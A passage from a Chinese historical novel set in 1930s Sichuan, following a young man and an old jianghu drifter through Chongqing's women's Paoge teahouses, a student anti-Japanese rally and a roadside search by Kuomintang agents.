“不是五嬢,那难道是喜雀……哎!你耳朵红了!”
“嘿!死小子,你下死手啊!……哎哟喂,痛痛痛……不玩了……喝茶,喝茶!龟儿子下手真重……”
*
看山看水看沉船,教导武艺学唱歌,周立行一行人过了十来天安闲舒心的日子。每个码头船停的时间,黑老鸹都会带着他下船去四处瞎找乱撞。有时候能找到些熟人,蹭点吃喝和盘缠;有的时候就支个摊算算命,总有冤大头愿意来给钱。
当然,不给钱也没关系,黑老鸹自己会顺。
半个多月的水路转瞬即逝,深秋时候,周立行一行人到了重庆磁器口码头。
一下船,山城码头独有的嬉闹气息扑面而来。
远处高高的石梯,近处嗓门粗大的船工,还有膀阔腰圆气势非凡的山城嬢嬢们,熙熙攘攘挤满了码头,卸货的,搬运的,买卖东西的,接人的,送人的,热闹非凡。
周立行新奇地看着周围的一切,站在码头上没动。黑老鸹反倒是紧绷起来,他一左一右强势地拉着乔装打扮两姐妹的手,上前踹了周立行一脚。
“呆着干嘛!往前走!快点!”
周立行还没被踢到就靠身体反应躲开了,他莫名其妙地看了黑老鸹一眼,扭头往前走。
四周人越来越多,周立行在前面当开路先锋,人挤人的过程中,他也发现了不对劲,这围聚而来的人咋身上揣着棍棒呢。
周立行加快离开速度,黑老鸹以不属于他那个年纪的力气和速度拉着两姐妹健步如飞。四人一趟呼地跑出去好远,上了好长一道坡之后往下看。
好家伙,打群架了!
“别看了,刚刚就发现不对劲,多半又是船工帮之间起了冲突。早就听说重庆袍哥好斗,果真如此啊。”
黑老鸹一幅很有经验的样子,“走吧,去找顺安丝绸铺,赶紧地把这两朵花安置好,靠山找好,咱们才好去玩!”
顺安丝绸铺,便是王喜雀在重庆置办的铺子,总店开在磁器口,据说还有三家分店开在了其他地方,做的主要是蜀锦生意。
磁器口的总店地段选的还不错,是一楼一底的木质房,后面还附带一个小院子。
黑老鸹问着路,带着周立行等人找到了这家铺子,四人进门时,店里还有其他的熟客在选东西,店里的女掌柜带着另外两名男女店员跟着,只有一名与周立行差不多大的学徒男娃上来迎接。
周立行和知书知礼两姐妹一起打量那女掌柜,她身穿一身青绿色平裁倒大袖旗袍,双手戴着银镯子,头上戴着一根剑状的银簪。
知书知礼互看一眼,王喜雀给她们的那根簪子,和女掌柜头上的簪子一样,看来便是要找这个人了。
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于是周立行等人不着急,先逛起店堂陈设起来,那学徒男娃便殷勤地开始介绍。
靠着进门的主柜台,往外摆着的,则是一些黑、蓝、灰、酱、紫红色的棉丝混纺绨葛,里面墙上摆放的是红、绿、黑、白的素面提花绸缎,都用木板卷起陈列。
大堂正中央摆着一个金丝楠木的大玻璃柜,中间陈列着最精美的蜀绣花色样品,小到扇面、扇套、钱包,大到枕套、蚊帐檐、绣花缎被面等,有的还串着珍珠宝石,金银彩绣的奇花异草、飞禽走兽等纹样被玻璃折射得熠熠发光。
往两边靠壁的红木玻柜放的则是各种喜事用的被面礼盒,有月华彩条、孔雀羽丝、龙凤呈祥、天女散花、吹箫引凤、百子游戏、嫦娥奔月、喜鹊闹梅等。
角落里还有一个涂着金漆柜子,放的则是做白事的真丝寿被,这是厚葬人家用于装殓的用品,用黄色、金色、黑色丝线织成各种“寿”字或佛祖坐莲台为图案花纹。
在学徒的殷勤介绍下,周立行等人绕着大堂看了一圈,最终周立行感兴趣地停在了喜事用的礼盒柜前,眼珠子快要落到那大红绣金凤的蚊帐枕套被面套装上。
知书知礼两姐妹瞄瞄被面,又瞄瞄一脸认真严肃思考的周立行,像是意识到什么,两人忍不住相互使眼色偷笑。
黑老鸹则是摇头晃脑,“天要下雨,娘要嫁人……不对!男大不中留……啧,也没对……”
周立行前些日子川江号子喊多了,声音有些嘶哑,最近不爱多说话,根本不管黑老鸹的打趣。
共行一路,知书也基本摸准了周立行的脾气,这个看起来沉稳冷静的少年,其实心肠软的很,于是忍不住也逗弄道:
“少爷,这枕套被面一般是做嫁妆,可不是做聘礼的呀!”
那小学徒察言观色,见周立行皱眉,便立刻帮衬道,“凡事也不一定,咱们店里也有一些男子担忧姑娘家给不起面子,私下悄悄买来先托人送给姑娘,待到成婚那日,其实姑娘的嫁妆都是她男人提前置办的呢!”
知书知礼听的感动,周立行连连点头,只有黑老鸹嘎嘎乱笑。
“就怕有些男子太小了,年岁不够,钱财不丰,喜欢的婆娘又特别能挣钱……哎,有没有婆娘担忧男子给不起面子,彩礼聘礼啥也不要,自带金银去嫁人的?”
小学徒意识到这个老仆在找茬,面露难色不敢接话;知书知礼瞪大眼看向周立行,周立行面上没什么表情,脸色却一下子青了。
这下,周立行看不下去料子了,憋着气开始乱转。
那熟客定了一批料子,付了定金离开,女掌柜见周立行四人逛来逛去,醉翁之意不在酒,便亲自过来询问。
“少爷怎么了?可是我家小学徒最笨,惹少爷生气了?那我可要赔个不是了……”
周立行逛了一圈,这铺子还有一层二楼,他听来总过也就十来人,不像是有什么危险,加上被黑老鸹刚刚的话堵的心烦,便没了耐性兜圈子,开门见山直接说道:
“王喜雀托我们送两个人来。”
知礼赶紧从衣侧暗兜里取出簪子,双手递给女掌柜。
女掌柜微微叹了口气,簪子仔细看了看,确认无误后,轻声道:“贵客们请上二楼吧。”
19.重庆
青竹叶略一思索,“多少我倒是没数过,以前的女袍哥们也不少,只是各自随着父兄丈夫归属堂口。单说全女性的堂口,现今还不算太多,约莫七八个吧。”
“最扯把子的叫什么呢?”黑老鸹追问。
“最有名的乃是姨妈会,由江北县城富商江木栖的母亲高老太十多年前组建,设堂口、挂牌子、开茶馆一应俱全,帮内姊妹伙排行和袍哥们一致,只是换了称呼为大姐、五妹、八妹等,入会较晚的,都叫做幺妹。”
“供奉的哪路英杰?”
“不同的组织拜的英杰不一样,早年的多供奉刘备夫人孙尚香,崇尚其汉室正统,能文能武;还有供奉那刺杀雍正的女杰吕四娘的;近些年组建的堂口,倒有好多供奉辛亥女杰。”
“不错不错……该如何拜码头呀?”黑老鸹终于问出了最终问题。
“这女袍哥们的会社,男人可不好进去呢。”青竹叶笑嘻嘻地打消黑老鸹的念头,“这些军政官员、士绅商贾家的太太、姐妹们,既然能结社成女袍哥,那便都不是什么好脾气的人。”
说到这里,青竹叶想到了什么,她的意见反倒是跟王喜雀相反了。
“也许喜雀姐会想着让这两姐妹去加入女袍哥们的会社,找个靠山。但喜雀姐毕竟没有混迹江湖,依我说,可别急,也许甚至,没必要。”
知礼眉头一皱,继而展开,“还请姐姐详说,我们姐妹俩不懂。”
周立行认真听着,青竹叶却端起茶,似乎是在斟酌怎么讲。
黑老鸹咕叽一口喝完茶,脑袋只转了一圈,便想通了,他有心教一教小徒弟。
“我明白了!嘿嘿,立行,你明白没有?”
周立行不是很明白,“山间野物若不是特别强大,成群结队的总比落单的过得好。这一路上,我见了许多因求生或挣钱而抱团的人,如那些纤夫、船工、商客,大家聚在一起才有争斗的力量。女娃们自己抱团互助,不是更好吗?”
青竹叶像是听到什么笑话,前仰后伏地笑起来。黑老鸹特能捧场,跟着青竹叶哈哈大笑,两人笑得此起彼伏,周立行看得一头雾水。
青竹叶差点笑出了眼泪,她掏出绣花真丝手绢擦了擦眼角。
“罢了,年纪小,是这样的。你们今日先休息,明日我正好要去送货,可以顺便带你们去女袍哥的茶馆看看,也许到时候你们便懂了。”
*
夜色降临,一些店铺收铺子上门板,而另一些店铺则是点亮灯火,白日里忙活了一整天的挑工们要找地方吃饭喝茶,而另一些白日里没得空闲的人下了工,也要找些地方玩乐下才回家。
待到一天的劳累散去,各人回到自己的窝,或孤身冷被,或家人依偎,总之一天又过去了,睡一觉起来,便是新的一天。
周立行依旧和黑老鸹住一间房,两人一夜无眠,第二天两人还一同睡了个懒觉,日上三竿才起来。
知书知礼两姐妹乍到此地,心里安下了心,也睡过了头。
青竹叶知道他们路途遥远,必是疲惫,便也没有打扰她们。
等两姐妹起来,青竹叶才进门去看她俩,横看竖看,觉得这两姐妹的发型倒像是那些女学生,便笑嘻嘻地从自己房间里取了套青上衣黑下裙的学生装款式。
“依我说,这女子剪了头发,便如男娃一般利落又精神。”青竹叶把衣裙递给两姐妹,示意她们出一个人来穿。
“今日你们就扮作女学生吧,不过双胞胎过于招眼,你们今日只能出去一人。日后也是,起码三五年里,你们俩尽量不要同时出现在任何场合,包括店里。”
知书知礼两人商量了下,知礼一路上被周立行教得狠,浑身还有许多青紫,便不想出门了,这回便让知书去。
知书回房间换衣服,大伙儿便一起乱聊会儿天等着。
“说起剪短发的女子,你们可听说成都剪发女三杰?”黑老鸹摆起了龙门阵。
周立行自然是什么也不知道,知礼也不知道,只有青竹叶点着头,“我自然是知道,这三位女学生当年被逼从成都来了重庆,在这边可是知名呢!自从她们来过后,重庆大街上的女娃子,头发可是想剪就剪。”
周立行磕着瓜子听他们讲起来,原来晚清的时候,除了男人留发辫,女人的头发也是有讲究,幼女留双短辫,少女梳单长辫,成年妇女挽发髻。后来南京民国临时政府大总统孙中山发布“剪辫令”,四川这边也是隔了好久,男人们才剪掉了脑袋上的辫子。
“男的剪辫子是进步,女的剪长发,那些男人们反倒是不肯了,笑死先人哦。我算算时间啊,当时才1921年,立行那时候怕是才一岁吧。”黑老鸹聊天都不忘要点一下周立行年纪小。
周立行向黑老鸹吐了个瓜子壳,“知道了,老仆人,继续讲。”
黑老鸹被吐了瓜子壳,反而嘎嘎笑起来,继续道:“成都四川省立女子实业学校的三位女学生率先剪短发,结果把成都闹炸翻天了!”
“当时的四川警厅还发了《严禁妇女再剪发》,笑人得很,讲什么女子不能剪男子发式,什么有碍风化、伤亲友运,我算命的时候都不敢这样乱讲呢,人家女娃自己的头发,也不知道关他们什么事儿。”
青竹叶笑着接过话题,“那三位女杰中被成都学校开除后,来了重庆。搞联省自治和妇女运动的著名人物吴玉章先生,非常热忱地欢迎她们的到来,很快安排她们上台演讲,宣传女子剪发、妇女解放。”
“短发多好,易洗易干,不用梳头抹油,每日里节约多少时间可以做其他的事。男的自己都知道短发方便,倒是女娃们,为了一句别人夸赞的漂亮贤惠,连头发都要留成一个麻烦,剪不剪发都要被别人管。”
“重庆女子第二师范和巴县女中的许多女学生会后纷纷仿效剪发……”
“自此
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啊,女子短发便成了进步开明的象征呢!”
原本知礼对自己一头秀发被剪掉还有些耿耿于怀,听黑老鸹和青竹叶这么一说,顿时觉得那烦恼丝留着果真屁用没有,剪掉才是最好的,便释怀了。
“这般说来,以后我都不乐意留长头发了。”知书换好了衣服过来,听到了最后的一段话,她抚摸着自己的短发,和妹妹知礼一样,对短发骄傲起来。
见人到了,青竹叶止了话题,带着大家往码头上去。他们需要乘船逆流而上去朝天门码头,在那边,才有那女袍哥的茶馆。
*
朝天门码头处在嘉陵江与长江的交汇处,是重庆最大的水码头,曾是重庆十七座古城门之一,山水相映,百舸争流,水运繁盛。两边江岸吊脚楼林立,沿码头石梯一路往上,街巷四达,处处商业繁盛,热闹非凡。
青竹叶带着两大箱的绣品让周立行挑着,自个儿挽着知书的手,大伙儿一路走走停停游玩吃喝,到那芝兰茶馆时,已经是下午。
芝兰茶馆便是青竹叶知晓的女袍哥堂口之一。
这茶馆颇大,分了里中外三个院子。外院房屋和院坝里摆着竹椅竹凳子,可接待男女客;中院只能女客进,里院只能是堂口内部人,或是有要事相商的女贵客才能进。
周立行挑着担子,跟着进了外院。青竹叶直接向外院的女管事知会,说是顺安丝绸铺的来给堂口送定好的喜事绣品。
那女管事跟青竹叶熟悉,便差了人进去里院通传,隔了一会儿,里院来了消息,说是二姐在,请青竹叶带人送进去。
青竹叶便问到,“我今日带来的东西多,新招的账房女学徒可挑不动,这位男娃可否帮挑进去?”
那回话的女人先看了下知书,见她一副女学生的打扮,便不质疑知书为何挑不动。
她再上下打量了一番周立行,见这少年俊朗挺拔,神色沉稳,不是那种见了女人眼珠子就要落上去的穷酸汉,便点了头。
“今日里堂口处理事儿,人手不足,便让这男娃去吧。你们从边上廊子里走,可不要东张西望的,冲撞了中院和里院的小姐夫人们,可是要被挖眼睛的!”
话说完,那女人指了一下黑老鸹,嫌弃地说道,“老头儿,你就好好待在这里喝茶。乱进中院,要被打断脚哈。”
黑老鸹蠢蠢欲动的脚收了回去,他无奈地应承,“姑婆放心,我不会给主家添麻烦的。”
本是想见识下女袍哥们的风采,黑老鸹心中暗道可惜了!
现在看来,这倒不是特别像江湖儿女,男女大防搞得,倒有些像那酸儒们说的男女大防了……黑老鸹心中腹诽。
那女人被姑婆这个敬称噎了下,想要发货,却见黑老鸹一脸诚恳,好似并不是在嘲讽自己年纪大。她便只得白了黑老鸹一眼,往里面走去。
青竹叶把笑意憋在眼底,带着周立行和知书一起往里面走去。
20.重庆
周立行挑着两口大箱子跟着走,眼睛自然地扫过四周,心里把这芝兰茶馆与刘五嬢的千秋茶馆做起来对比。
外院差不多,但廊子一进中院,四处的花花草草骤然多了起来。庭院里栽着桂花、腊梅、黄桷兰、茉莉等闻香的花卉,院边缘爬着金银花和菊花的藤蔓,院子里的雕花石桌上放着盆栽的精品兰草,椅子里也使放着毛绒垫子,包间里熏着各种香,味道远远飘来。
中院全是女客,堂倌们也是膀阔腰圆的健壮女子,但一眼看得出来,坐下来喝茶的若不是涂脂抹粉、簪环满身,便是一身洋装、烫着卷发,总之都是富贵人家才能养出的样子;而做活的都是素面简衣的贫家女子。
知书也不着痕迹地观察着,这里看起来似乎依旧阶级分明,并没有因为全是女子,就有平等自然交往之态。
行走一路,隐约间听到一些女子在商谈。
“……那九姨太着实不懂事……教训教训……”
“果真是小老婆生的,当个交际花……”
“……不懂规矩的下人,本就该打一顿,竟还敢去告……”
“得求姐姐再向姐夫吹吹风,钱财都好说,我那侄儿定能胜任……”
到了里院,布置更加富丽堂皇起来,正大堂那里关着大门,里面隐约有一些哭喊声。带路的女人微微皱眉,引这青竹叶等人绕开到另一边的房间,在门口恭敬地弯腰。
“二姐,青老板送东西来了。因东西重,使了个乖男娃帮忙挑进来。”
里面传来一道平淡得有些不耐烦的声音,“虽说暂时用不上了,但既使送来,便进来给我看看吧。”
那女人应了一声,才敢往里走。
青竹叶进门,也是恭敬地行了个传统的万安礼,“青竹叶见过二姐。芝兰玉树,二姐福安。”
这是一间会客厅,上座的女人约三十五六岁,五官有些凌厉,穿着新式的红色羊毛呢风衣,头上戴着串珠插羽毛的黑呢帽子,足下是亮锃锃的皮靴,她兴致不高,向青竹叶摆摆手。
“青老板亲自跑一趟,足见重视咱芝兰堂。谢青老板,黄六,待会儿多给青老板随行的人赏钱。”
青竹叶立刻给周立行和知书两人使眼色,幸好这两人都聪明,立马弯腰行礼,异口同声道:“谢谢二姐!”
既然二姐说要看看,青竹叶便让周立行开箱子,知书去拎起里面部分样品展示下。没看几件,又有女子来请二姐,二姐便走了。
那个被称呼为黄六的女人便领着青竹叶等人要离开,青竹叶往黄六那里塞了一块银元,悄声问道,“姐,原本的喜事,是出问题了?”
那黄六收了银元,左右看看,在里院和中院中间的廊角停下来,瞅着没人,才给青竹叶透露了几句。
“本是进堂口的一位幺妹要成婚,那知临到头这幺妹反悔了。哎,若不是当初堂口帮她,她父兄死了之后早就被大伯给嫁出去了,哪里还能继续读书哦。”
“现在倒好,堂口大姐有需要,让她嫁给别人当续弦,她自个儿也是应了的。结果被什么同学一表白,就反悔了,还失了身,这犯规矩的事情哦,搞得大家都不好过了……”
“本来二姐三姐还从堂口里给她划了好大一笔银钱当陪嫁,这幺妹,也太不识好歹了。”
黄六不敢说太多,简单讲了讲,便收口,还叮嘱到,“你可别对外说啊。”
青竹叶郑重发誓,“放心,不会的。”才怪!
送完货,青竹叶也没急着走,反而在外院里喝起了茶。周立行和知书两人都沉默了,端着茉莉花茶喝了许久,堂倌都掺了三回水,他俩还没吱声。
“你们到底看到什么了?怎的闷成这样?”黑老鸹好奇的要死,抓耳挠腮。
青竹叶招手让黑老鸹附耳过来,立马就把她从黄六那里听来的消息讲了一遍。
黑老鸹听完,鼻子里喷出一声嗤笑,“她们还能管人家婚嫁……”
知书长长叹了口气,“在我看来,这女袍哥的堂口里,也是分富贵人和贫穷人。”
“富贵人因这个堂口相互熟悉,互帮互助,贫穷人进来是想求个庇护,可别个对你的庇护,是要你拿更重要的东西来偿还的。她们……和男人也没什么区别。”
周立行抿着唇,附和道,“她们要真的是庇护女子,就不会替别人做主什么婚事。明明是挟恩以报,还搞得别人负了她们一般。”
青竹叶却十分平静,“人心如此。这个芝兰堂只收所谓清白人家的女子入会,领头的都是军政官商的太太小姐,所以内部规矩反而极重。”
“那花街柳巷有专门的妓女行会,看起来像是没规矩,所有姐妹都能一起喝茶聊天骂男人,平日里也是说互帮互助,但争起恩客来,大打出手到毁容杀人的也有。”
“我看这些什么袍哥会社,有好的一面,却也带着迂腐陈旧的各种规矩,什么哥啊姐啊,帮得了一时,帮不了一世。”
“当好人的命不会长,我见过的行善积德之人难长命,反倒是奸顽狡诈之人左右逢源。我青竹叶也不是彻头彻尾的好人,我也会权衡利弊,也会衡量得失。”
“无论是谁,你们都不要想着太依靠。这世道,谁也靠不住。”
青竹叶似笑非笑,眼间唇边全是无奈,也不知道是受了多少苦,吃了多少亏,才会有这番感慨。
她这番话,让周立行想到船上那夜黑老鸹的叹息。他们似乎都看不到希望,对这浑浊的世间只余失望。
周立行心里像是被塞进一块大石头,堵涨沉闷。
正当此时,一阵喧哗声起,伴随着诸多女人尖锐的骂声:
“芝兰堂口的当家大姐呢,滚出来啊!”
“羞死先人哦,锤子芝兰,蚌壳大姐!竟然棒打鸳鸯,逼嫁幺妹!”
“姐妹们!砸了这个帮着男人祸害女人的烂茶馆!”
“砸!把幺妹抢回来!幺妹想咋个嫁,就咋个嫁!”
一群女人浩浩荡荡地冲起来,有的穿旗袍,有的穿学生装,有的穿短衣长裤,竟是手持棍棒扁担,见着堂倌门房就打,掀桌的掀桌,砸碗的砸碗!
她们势如破竹,看得出来都有些拳脚功夫底子,一路就这么摔桌撘板凳地冲进了中院。
中院里的贵妇淑女们惨叫连连,听起来是被打的不轻。
而后,里院更是一
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阵乒乒乓乓,有怒吼,有哀鸣,有叫唤的,有嘶吼的……
黑老鸹面前的桌子被掀了,他端着茶杯没地方放,目瞪口呆地看这群女将女兵们冲杀进去,半晌说不出话来。
周立行也是惊讶万分,知书知礼吓得往他们俩身后躲,只有青竹叶呆愣片刻后,哈哈大笑起来。
“这是良玉堂口的姊妹……取自明朝女将秦良玉之名,哈哈哈哈,好,这才好……”
青竹叶笑着笑着,不知为何眼睛湿润了。
这群悍女们凶狠异常,在内院打砸了一刻多钟头,终于把幺妹救了出来,一群人往外跑的时候,遇到了闻讯而来的警察。
因听得是一群女人在茶馆打砸,那警察局没当回事,只派了两个警察来劝阻。
结果,周立行等人在茶馆门口围观了一场悍妇大战警察——警察双拳难敌四手,被打的抱头鼠窜。
其中一名警察忍无可忍,想要拔枪警告,结果一抹,哎?!
枪呢!
远去的黑老鸹笑嘻嘻的揣着顺来的两把枪,拐过街角后,递给了青竹叶。
“喏,竹叶,你一把,剩下一把送给知书知礼。女人,得会打架,会用枪!”
黑老鸹骄傲地吩咐。
青竹叶从善而流,接过手枪,“刚刚我说错了……其实有时候,团结起来的队伍,也是可以信一信的。”
黑老鸹笑着不说话,周立行不太明白青竹叶为何又改了态度,很快他们的注意力被路边的热闹。
这里聚集着许多人,四周有人拉着黑白的横幅,写着什么“抗日救国人人有责”“血染国土内战何苦”等字,桌子临时拼凑的台上站着学生打扮的男女,慷慨激昂地讲着什么,下面的学生们群情激愤,振臂高呼。
黑老鸹啧啧称奇,青竹叶好似很喜欢听这些,忍不住驻足停留。
没过一会儿,又一波警察来了,吹着哨子拎着警棍,上来便是给学生们一顿锤。
警察怒吼驱散学生们的声音,打斗的声音,人潮涌动,警察开始鸣枪示警,场面又乱做一团,人群冲散了周立行等人,
周立行想要离开这里,好巧不巧有个学生捂着被打破的额头,满手是血地往他怀里塞了一张报纸,转身就跑。
周立行莫名觉得这肯定是个好东西,于是赶紧塞到自己衣服里。
一个警察挥舞着警棍紧追学生,周立行见状,不经意地伸脚一绊,见那警察摔了狗吃屎后,周立行揣着报纸,扭身跟着人群散去。
周立行没多久,找到了失散的青竹叶和知书两个女的,知书摔倒扭了脚,青竹叶搀扶着她走不快。
顾不上黑老鸹,周立行直接把知书背起来,往约定的客栈回去。
好在黑老鸹毕竟是老江湖,竟已经自个儿先到约定的客栈门口等着了。
周立行带着那张油印的报纸,回到客栈后,立即和黑老鸹一起分享着仔细看起来。
只见油印的报纸上面赫然一行大字:《为抗日救国告全国同胞书》,再看时间,已是今年8月的事情,那时候的他还在峨眉山上当猴大王。
黑老鸹面色一紧,抓过报纸自己读起来。
21.路途
黑老鸹苍老粗粝的声音,轻轻地回响在房间里:
【……日本帝国主义加紧对我进攻,南京卖国政府步步投降,我北方各省又继东北四省之后而实际沦亡了!】①
【……自民国二十年“九一八”事变以来……不到四年,差不多半壁山河,已经被日寇占领和侵袭了……眼看长江和珠江流域及其他各地,均将逐渐被日寇所吞蚀……我国家、我民族,已处在千钧一发的生死关头。抗日则生,不抗日则死,抗日救国……】②
一字一句地看下去,黑老鸹的手抖动起来。
周立行只是个初入江湖的少年,没有经历过什么风雨,家国情怀有一些,但并不重,所以听起来没有太大感觉。
但黑老鸹不是,他从清末民初走来,打过枪见过血,有过自己的理想,一直行走江湖,听到许多外来的传言。他听说过九一八东北沦丧,也听说过一二八淞沪抗战,晓得秋叶海棠在被吞食,知道各地租借洋人依旧和清朝那个时候一样作威作福;他也曾在行走之地的各处茶馆慷慨激昂痛斥政府无能,然而长夜漫漫,他已不再年轻,无法再带着一群兄弟伙为了汉留大业拼杀。
曾经,他以为自己看透了这个世道,无论什么党派团体,无论说着什么主张条例,最终还是如清廷一般丧权辱国,只会鱼肉百姓。
但在这一刻,这一份染着血迹的报纸,像是一颗真实的子弹击穿了他灵魂,整个人感受到了一股钝痛。
【领土一省又一省地被人侵占,人民千万又千万地被人奴役,城村一处又一处地被人血洗,侨胞一批又一批地被人驱逐,一切内政外交处处被人干涉,这还能算什么国家!?这还能算什么民族!?】③
【同胞们!中国是我们的祖国!中国民族就是我们全体同胞!我们能坐视国亡族灭而不起来救国自救吗?】④
黑老鸹的眼泪潸然而下,他继续读道,“当今我亡国灭种大祸迫在眉睫之时……亡国灭种大祸……”
这份翻印的报纸被黑老鸹收了去,一字一句地读,翻来覆去地看。第二日一大早,黑老鸹跟周立行说,他有重要的事情必须马上回成都。
黑老鸹原本的想法,是要在重庆玩个十天半个月,说什么要访旧友,结果现在一个地都没去,突头突脑地说要走,知书很是舍不得。
周立行只是跟着黑老鸹来送知书知礼两姐妹投奔,他本人对行程没有任何意见。既然黑老鸹改了主意,他便马上替他收拾东西,打听回成都的方式。
在青竹叶的建议下,黑老鸹决定多出钱买更贵的车票,从成渝公路回去。他很心急,心急到青竹叶和周立行都不能理解。
青竹叶还要照管店铺,便带着知书向黑老鸹和周立行告辞。山高水长,日来月涨,恭祝大家都能平顺安康,若是日后有缘,还可相会。
*
重庆和成都之间多是水运,或者水路陆路兼用,一般需要十天左右才能到达。老成渝公路则是沿着成渝古驿道修建,全程一千多华里,因四川境内军阀防区分管,沿途各县设马路分局,自筹资金,自收路费。
1933年12月后,成都的牛市口到重庆的牛角沱,天天都有客车和货车出发。此时的公路,很多地段是土路,用敲碎的岩石铺底,煤渣填缝,时不时的还需要工人修补,加之西南多山多雨水,塌方也是常见。汽车四个轮子跑起来快,到中途每个车站都要再买一次票,总也是颇有耽误。
但只要两三天就能从重庆到成都,比起逆流而上要靠纤夫拉船,这速度已是非常快了。
这时候的车票比船票贵,能坐车来往重庆的,要么是军政工作人员或大公司大工厂的雇员,要么是极为富裕的家庭。
刚上车时,周立行非常新奇,这是他第一次坐汽车,忍不住每一个角落都想打量,尤其是那司机的操作,他更是眼也不眨地认真看。
客车里坐了二十来人,只有两个女性,都随身放着大大的行李箱,看起来是陪着丈夫一起去成都的。所有人穿衣打扮都干净整洁,一看就知道并非劳苦大众。
一路上,黑老鸹反常地一言不发,不是闭着眼睡觉,就是望着窗外发呆。周立行则是持续地新奇着,不着痕迹地把车里每个人都打量了一遍,还尖着耳朵听那些人聊天。
也许是阶层较高,这些人聊天,比茶馆的八卦要新鲜许多。有说满洲国的工业发展的,有说美利坚多么强大的,有说德意志的法西斯政策的,也还有说汪兆铭遇刺的,他们谈论的口吻不如茶馆里的人肆意,而是带着三分炫耀五分克制,剩下的两分更像是在试探对方是否和自己处于同一阶层,或者理念是否一致。
这种情况下,周立行也乖乖地闭嘴,只听,不说话。
车开出去大半天,经过在一个车站的时候,几个蓝衣制服军装人员带着一群服章各异的士兵和警察蹲在那守株待兔,围住了车辆。
“全体下车!接受检查!”
车上的人不安起来,司机连忙下车,点头哈腰地递烟,“各位大哥,这是怎么了?”
此时的公路局是国家机构,司机也算是国家雇员,但人在各地走,哪里的人带着枪,那对方就更厉害。
“接重庆别动队电话,这趟车上有通共人员,携带机密情报!所有人马上下车,敢有违抗,格杀勿论!”一名蓝衣制服的人员冷厉地回答。
众人听的一阵骚动,耳语不断,迫于对方的威胁,只能拿着行李下车。
周立行在重庆听过这个别动队的名称,是蒋中正的下属康泽率领的特务组织,据说专门搜集四川各路军阀的情报,尤其是针对刘湘。
他伸手去搀扶黑老鸹,眼睛看向黑老鸹的袖口。他知道,黑老鸹把那份染血的报纸随身带着,这要是被搜出来,怕是要遭。
黑老鸹抬了抬眼皮,环视了一圈车里的人,随手撑了撑前面座椅的缝隙,在周立行的搀扶下起来,跟着车里的人们一起去了车站的候客厅。
那些蓝衣制服的人态度凶狠得紧,虽然这一车坐的也不算穷苦人了,他们依然高声呵斥,男女分开,先要搜查所有的行李,还要对所有人搜身。然而这群嚣张跋扈的人中并没有女性,要男人去搜女人的身,本就是一种欺辱。那两个女人拽着各自丈夫的手,都低声哭起来。
两名丈夫涨红了脸,赶紧摸出随身带的银元,向那队长千恩百求,有是各自拉扯关系,谁是那个大轮船公司的经理,谁给刘湘名下的某某是
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亲戚,一番钱财贿赂加担保,那队长才允了这两个女人当着大家的面相互搜身。
时值冬日,衣服都穿的厚实,所有人都要脱下外面的衣服去检查,以防衣服之中有夹带,大伙儿都冷的牙齿打颤,那检查的士兵手脚粗重得很,故意带着些折磨人的手法在里面,痛的男人们闷哼。
黑老鸹不爽被搜身,便一直咳嗽,使劲地往地上吐痰,做出一副肺痨病人的模样。他人本就黑瘦,这两天夜不能寐的,眼白发黄蹦着血丝,再故意软手软脚,看起来特别像是马上要死那种。
搜身人员嫌晦气,怕染病,没有怎么折腾黑老鸹。对着周立行,下手就重了,一身都给捏出了青紫,然后摸到了周立行腰间的枪。
搜身人员大惊,往后一跳。周立行举着双手没说话,回头疑惑。
“他身上有匕首,还有手枪!”搜身人员向他的队长报告。
那队长眯着眼看过来,口吻反倒是客气了一些,“小兄弟是哪条路的?”
这年头能有枪的,不是兵就是匪,袍哥的话可以既是兵也是匪,别动队是跟刘湘作对的,而刘湘算是四川上万堂口的总舵把子,袍哥基本上都是要买刘湘的面子的。他们今日来这里堵客车,一方面确实是有线报说这几趟车里可能有通共分子,另一方面……不过是想搞点油水。
所以,那队长对其他人蛮横,对疑似袍哥的人,反倒谨慎一些。这种带刀又带枪的,往往不是一般的袍哥。
周立行没说话,抬眼去看黑老鸹。
黑老鸹咳嗽了一通,气若游丝地回答:“重庆码头上的兄弟,接了堂口的委托,送我返乡的。袍哥人家嘛,又是给我当护卫,自然要带刀带枪了。”
队长并不因此放下疑心,反而是更进一步检查,只不过口气显得稍微好了一点,“可否把枪给我看看?”
周立行只好掏出手枪,递给那队长。
那队长是个行家,一看手枪的款式,顿时惊了,再看向周立行,“枪从哪里来?”
周立行稳稳地回答,“堂口大爷恩赐,据说是重庆的大官送的。”
这队长思索了一下,本想再问是哪个堂口,但眼下看来,这堂口多半是私下跟自个儿顶头上的人有牵扯,不然拿不到护卫队的手枪。这人多眼杂,他还是不要坏了自己人的事。
于是队长摆摆手,“无碍。下一个。”
周立行大概猜到这手枪特殊,闷声不说话,一脸沉稳地穿衣裳。
男人们要被整,女人们就更要受辱了。就算是让她们两个相互搜,两个女人要脱得只剩下里衣里裤,还得再在看守的人面前相互摸索,人格上还是觉得受辱,两人都是涕泪连连,到把那些当兵得看得喜笑颜开,小声地说着黄话。两个女人的丈夫站在一旁,脸色十分不好,却也不敢开口说什么。
一番检查下来,并没有发现什么有用的东西,那士兵搜罗了一些所谓有嫌疑的烟酒吃食,正准备离开,外面检查车辆的人却如获至宝一般拿着一张揉成一团的纸跑进来。
周立行一看,哦豁,这不是他给黑老鸹的那张报纸吗!
黑老鸹一看,哟喂,他不是担心随身带会查到,给塞进前面座椅的缝隙了吗?
22.成都
“报告队长!找到这个藏在座位里的纸条!”那人拿着报纸跑得飞快,他不识字,只看到纸张上有字且染着血迹,又是被藏起来的,以为自己找到什么机密,忙不迭地来邀功。
队长也以为找到什么大鱼,喜不自胜,拿来一看,却并不是什么机密情况,失望之意溢于言表。
然而这份宣言也是违禁品,队长让人把坐那个位置的人抓起来回去询问,剩下的人现在这边旅馆住一晚,若是无事明天再放他们走。
黑老鸹和周立行两人互看一眼,周立行想说什么,被黑老鸹一把握住。
*
除了这段插曲,剩下的人都有些蔫儿。大家在士兵的监视下,入住了车站旁的旅馆,交了比平时贵几倍的住宿费,各自安歇。
在旅馆里被敲竹杠吃了一顿血贵的晚饭,周立行和黑老鸹回了住处。
“那人不会出事吧?”周立行还记挂着被带走的人。
“那人一路上吹嘘说日本人厉害美国人厉害,中国人不行,还说满洲国工业发展得好,那里的人过上了好日子。这种人,出不出事又如何?”
黑老鸹毫无愧疚心理,甚至十分冷酷,“我就专害他的怎么了?”
“黑大爷,你是吃火药了?”
周立行给黑老鸹倒了一壶热茶,纳闷黑老鸹情绪怎么忽高忽低,一路上不说话,现在说起来莫名其妙地怒气冲冲。
